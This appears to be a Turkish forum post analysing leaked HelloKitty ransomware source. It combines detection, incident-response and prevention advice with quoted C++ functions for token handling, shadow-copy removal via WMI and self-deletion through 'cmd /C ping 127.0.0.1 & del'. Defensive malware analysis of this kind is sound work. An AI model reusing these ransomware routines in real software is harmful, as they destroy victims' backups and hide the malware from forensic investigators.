- CRC32 (crc32 klasörü)
- Kodda önceden hesaplanmış bir CRC-32 tablosu ve CRC hesaplama fonksiyonu var. Bu genellikle veri bütünlüğü/isim doğrulama, tablo-indexleme veya paket/blok tanımlama için kullanılır. Ransomware bağlamında dosya bloklarının/iş parçacıklarının doğrulanması veya bir içerik imzası kontrolü için yer alabilir; tek başına şifreleme mekanizması değildir.
- Şifre çözme/decoder (decoder klasörü)
- .kitty uzantılı dosyaları hedefleyen bir deşifre (decrypt) mantığı içeriyor. Bu bölümde:
- decryptFile fonksiyonu: NTRUEncrypt (asimetrik) + AES (simgesel) kombinasyonu kullanılarak dosyanın şifresini çözmeye çalışıyor gibi görünüyor. (NTRU burada anahtar değişimi/koruma, AES ise asıl veri akışı için kullanılmış.)
- Dosya arama (yerel ve ağ paylaşımları) ve çoklu iş parçacığı ile eşzamanlı deşifre mekanizmaları mevcut.
- Mutex mekanizması ile aynı anda birden çok deşifre sürecinin çalışmasını engelleme mantığı var.
- Savunma notu: bu kod mevcudiyse, kurban verilerini önce dışarı aktarıp sonra şifreleyen “double-extortion” akışını tersine çevirmek/analiz etmek üzere faydalı IOCs/artefaktlar üretebilir; fakat anahtar yönetimi uygulanışına bağlı olarak deşifre mümkün olmayabilir.
- .kitty uzantılı dosyaları hedefleyen bir deşifre (decrypt) mantığı içeriyor. Bu bölümde:
- Araçlar / yardımcı bileşenler (Innocent klasörü)
- Base64 kodlama/çözme yardımcıları: yapılandırma/veri taşıma için.
- AES128MbedTls sınıfı: mbed TLS kütüphanesi üzerinden AES-128 şifreleme/deşifreleme sarmalayıcı. Bu, AES operasyonlarının standart bir kütüphane üzerinden yapıldığı, dolayısıyla şifreleme algoritmasının kendisinin standart olduğu anlamına gelir.
- Şifreleme mantığı ve I/O (Encryptor.cpp ve ilgili fonksiyonlar)
- Privilege handling: DowngradeThreadTokenForThreadHandle gibi fonksiyonlar, işlemin token’ı üzerinde işlem yapıyor — yükseklik/elevasyon kontrolü ve gerektiğinde linked token kullanımı. Bu, UAC/elevation ile ilgili savunma mekanizmalarına karşı davranış ile ilgilidir.
- IsWow64 kontrolü: 32/64 bit uyumluluğu ve platforma göre davranış farklılaştırma.
- removeShadows: Volume Shadow Copy (VSS) nesnelerini WMI üzerinden silmeye yönelik kod — yedeklerin bozulması/erişim engellenmesi için tipik ve kritik kötü amaçlı davranış.
- SelfDelete2: kendini silme mekanizması (basit komut satırı gecikmeli silme).
- Asenkron dosya I/O (read_next_block, write_block, IOCP, ReadWritePoolThread): IO Completion Ports ile yüksek performanslı, eşzamanlı okuma-yazma. Bu, büyük ölçekli şifreleme için optimize edilmiş bir yaklaşım: dosyalar parça parça, overlapped I/O ile işleniyor.
- FreeFileBusyResources: açık/meşgul dosyaları serbest bırakmaya çalışma — dosyaların kilitli olması durumunda işlemi sürdürmek için kaynak yönetimi.
- Sayfanın en altına daha detaylı açıklama bırakıyorum;
- Kriptografi: NTRUEncrypt + AES
- NTRU (post-kuantum asimetrik şema) benzeri bir yapı asimetrik anahtar yönetimi için kullanılmış; AES ise veri şifrelemek için. Kombinasyon, saldırganların simetrik anahtarı güvenli şekilde depolayıp/koruyabilmesini sağlar.
Saldırı akışı (koddan çıkarılabilecek, savunma odaklı özet)
- Erişim kazanılır (phishing, RDP/cred stuffing, yükleme aracılığıyla).
- Yetki yükseltme / token yönetimi ile gerekli izinler sağlamaya çalışılır.
- Ağ keşfi ve yatay hareket ile hedef dosyalar tespit edilir (yerel ve ağ paylaşımları taranır).
- Gerekli servisler (yedekleme, DB servisleri vb.) durdurulmaya çalışılır ve VSS silinir.
- Dosyalar asenkron ve yüksek verimli bir I/O pipeline ile şifrelenir (IOCP + overlapped reads/writes).
- Hassas veriler dışarı aktarılıp (varsa) double-extortion tehdidiyle birlikte fidye talebi bırakılır.
- İzler silinmeye veya ikincil temizliğe çalışılır (self-delete, log manipülasyonu vb.).
Mavi takım için tespit/IOC önerileri (pratik, uygulanabilir)
- Davranışsal göstergeler
- Anormal sayıda CreateFile/ReadFile/WriteFile overlapped I/O çağrıları ve IOCP aktivitesi.
- Beklenmeyen vssadmin/WMI çağrıları ile Win32_ShadowCopy silme veya Delete operasyonları.
- PowerShell/WMIC/PSExec/remote WMI komutlarıyla yoğun yatay hareket izleri.
- cmd.exe üzerinden gecikmeli silme komutları (ör. ping 127.0.0.1 & del <exe> tarzı).
- Büyük hacimli dışa veri transferleri kısa sürede (ör. SMB/FTP/HTTPS) — exfil trafiği.
- Sistem / dosya göstergeleri
- Yeni veya bilinmeyen uzantılar: .kitty gibi.
- Dosya isimlerinin yanında CRC/metadata tabanlı ek alanlar veya blok hash’leri.
- Mutex isimleri ve tekil process mutex’leri (mutex ile tekil çalışma kontrolü).
- Kayıt/log kaynakları toplayın
- EDR agent logları (process creation, command line, network connections).
- Windows Event Log (Security, System, Application), özellikle process creation events (4688) ve service stop/start.
- SMB/Netlogon/SMB session activity ve dosya erişim logları.
- VSS / WMI eventleri.
- NSM/Firewall/Proxy flow kayıtları (büyük outbound dosya transferleri).
Müdahale ve azaltma (incident response — kısa, net)
- İzolasyon: Etkilenen hostları ağdan fiziksel/switch/VLAN üzerinden izole edin.
- Bellek ve disk delilleri korunmalı: Hafıza görüntüsü alınıp, disk görüntüleri adli yöntemle saklanmalı (forensic image).
- EDR ile kapsamlı tarama: Şüpheli süreçleri, kısaltılmış komut satırıları, DLL yüklemelerini, imza dışı yürütmeleri kontrol edin.
- Yedek doğrulama: Offline/immutable yedeklerin bütünlüğünü doğrulayın; VSS silinmişse yedekleriniz başka yerde korunuyorsa onlardan geri dönüş planı başlatın.
- Ağ kontrolleri: Egress kurallarını sıkılaştırın; şüpheli C2 bağlantılarını kesin ve IP/domain IOCs ile bloklayın.
- Şifre çözme/anahtar: Kodda NTRU/AES kombinasyonu olması, anahtarların saldırgan kontrolünde olma ihtimalini güçlendirir; deşifre ancak anahtar erişimi veya güvenilir bir çözüm sunan kaynakla mümkün olabilir — bu konuda adım atmadan önce hukuk/iş yönetimi ve adli ekip ile koordinasyon şarttır.
- Bildirim: Yasal/zorunlu bildirim yükümlülükleri, CERT ve/veya kolluk kuvvetleri ile iletişim.
Kısa koruma maddeleri (önleyici)
- MFA ile RDP/VPN erişimini zorunlu kılın; kamuya açık RDP kapılarını kapatın.
- Kritik servisler ve yedekleme yazılımlarını ayrı ağ segmentlerine koyun; yönetim trafiğini kısıtlayın.
- EDR/NGAV çözümlerinde davranışsal kurallar (VSS silme, toplu dosya şifreleme etkinlikleri) etkinleştirilsin.
- Offline/immutable yedek politika ve restore testleri düzenli yapılsın.
- Güvenlik yamalarını hızla uygulayın; özellikle uzaktan erişim, VPN, Exchange/DB gibi yüzeyler.
- Kullanıcı bilinci (phishing) düzenli eğitimi.
Forensic/analiz notları
- Binary içindeki statik IOCs: hash’ler, hardcoded domain/IP, mutex isimleri, uzantı maskeleri.
- Şifreleme sırasında kullanılan blok büyüklükleri, IOCP thread sayısı gibi davranışsal imzalar EDR kurallarına eklenebilir.
- NTRU anahtar yapısı veya AES anahtarların nasıl üretildiği/taşındığı (memory artifacts) — adli analizde hafızada açık anahtar/özkök aranması faydalı olabilir ( fakat bununla dosyaları kolayca geri döndürmek her zaman mümkün değildir).
Encrypt
Şifreleme mantığı Encryptor.cpp dosyasındadır. DowngradeThreadTokenForThreadHandle adlı fonksiyondan başlayalım.
Bu fonksiyon, işlem belirtecinin yükseltme türü doluysa, bir iş parçacığının belirtecini bağlı belirtece ayarlayarak düşürmek için tasarlanmıştır. Ayrıcalık yönetimi veya güvenlikle ilgili bir mantığın parçası gibi görünüyor.
Şöyle:
C++:
void DowngradeThreadTokenForThreadHandle(PHANDLE hThread)
C++:
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
return;
}
Sonraki kod:
C++:
nion {
TOKEN_ELEVATION_TYPE tet;
TOKEN_LINKED_TOKEN tlt;
};
ULONG rcb;
if (!GetTokenInformation(hToken, TokenElevationType, &tet, sizeof(tet), &rcb)) {
CloseHandle(hToken);
return;
}
Sonraki kod:
C++:
if (tet == TokenElevationTypeFull)
{
if (GetTokenInformation(hToken, TokenLinkedToken, &tlt, sizeof(tlt), &rcb))
{
SetThreadToken(hThread, tlt.LinkedToken);
CloseHandle(tlt.LinkedToken);
}
}
Bir sonraki fonksiyon BOOL IsWow64:
C++:
BOOL IsWow64()
{
BOOL bIsWow64 = 0;
using LPFN_ISWOW64PROCESS = BOOL(WINAPI*) (HANDLE, PBOOL);
LPFN_ISWOW64PROCESS fnIsWow64Process;
fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
if (nullptr != fnIsWow64Process)
{
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
{
bIsWow64 = 0;
}
}
return bIsWow64;
}
Bir sonraki fonksiyon (daha önceki konularımda bundan bahsetmiştim):
Kod:
void removeShadows()
{
IWbemContext *lpContext;
HRESULT hr = CoCreateInstance(CLSID_WbemContext, nullptr, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&lpContext);
if (SUCCEEDED(hr))
{
#ifdef _X86_
if (IsWow64())
{
VARIANT vArch;
VariantInit(&vArch);
vArch.vt = VT_I4;
vArch.lVal = 64;
lpContext->SetValue(L"__ProviderArchitecture", 0, &vArch);
VariantClear(&vArch);
}
#endif
}
IWbemLocator *lpLocator;
if ((SUCCEEDED(CoCreateInstance(CLSID_WbemLocator, nullptr, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&lpLocator))))
{
IWbemServices *lpService;
BSTR bstrRootPath = SysAllocString(L"ROOT\\cimv2");
if ((SUCCEEDED(lpLocator->ConnectServer(bstrRootPath, nullptr, nullptr, nullptr, 0, nullptr, nullptr, &lpService))))
{
if (SUCCEEDED(CoSetProxyBlanket(lpService, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, nullptr, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NONE)))
{
IEnumWbemClassObject *lpEnumerator = nullptr;
BSTR bstrWql = SysAllocString(L"WQL");
BSTR bstrQuery = SysAllocString(L"select * from Win32_ShadowCopy");
if (SUCCEEDED(lpService->ExecQuery(bstrWql, bstrQuery, WBEM_FLAG_FORWARD_ONLY, nullptr, &lpEnumerator)))
{
}
}
}
}
}
Bir de selfdelete fonksiyonuna bakalım:
C++:
void SelfDelete2()
{
WCHAR wMyPath[MAX_PATH * 2];
GetModuleFileNameW(NULL, wMyPath, ARRAYSIZE(wMyPath));
WCHAR wMyFileName[MAX_PATH];
lstrcpyW(wMyFileName, PathFindFileNameW(wMyPath));
PathRemoveFileSpecW(wMyPath);
PathAddBackslashW(wMyPath);
WCHAR wCmd[MAX_PATH];
wsprintfW(wCmd, L"/C ping 127.0.0.1 & del %s", wMyFileName);
ShellExecuteW(0, L"open", L"cmd.exe", wCmd, wMyPath, SW_SHOWNORMAL);
}
Komut Hazırla: Gecikme oluşturmak için ping komutunu ve yürütülebilir dosyayı silmek için del komutunu kullanarak bir komut (wCmd) oluşturur.
Komut Çalıştır: Oluşturulan komutla yeni bir komut istemi (cmd.exe) açmak için ShellExecuteW komutunu kullanır. Çalışma dizini, çalıştırılabilir dosyayı içeren dizine ayarlanır.
Kendi Kendine Silme: Komut istemi ping komutunu yürütür, bir gecikme oluşturur (127.0.0.1 ile hiçbir şey yapmaz) ve ardından del komutunu kullanarak kötü amaçlı yazılım çalıştırılabilir dosyasını siler.
Bu teknik, kötü amaçlı yazılımı kısa bir gecikmeden sonra silmeyi dener ve bu da kötü amaçlı yazılımın çalıştırıldıktan sonra izlenmesini veya analiz edilmesini zorlaştırır.
Gerisini kendiniz incelersiniz.
Bu içeriği görmek için giriş yapın.
Son düzenleme: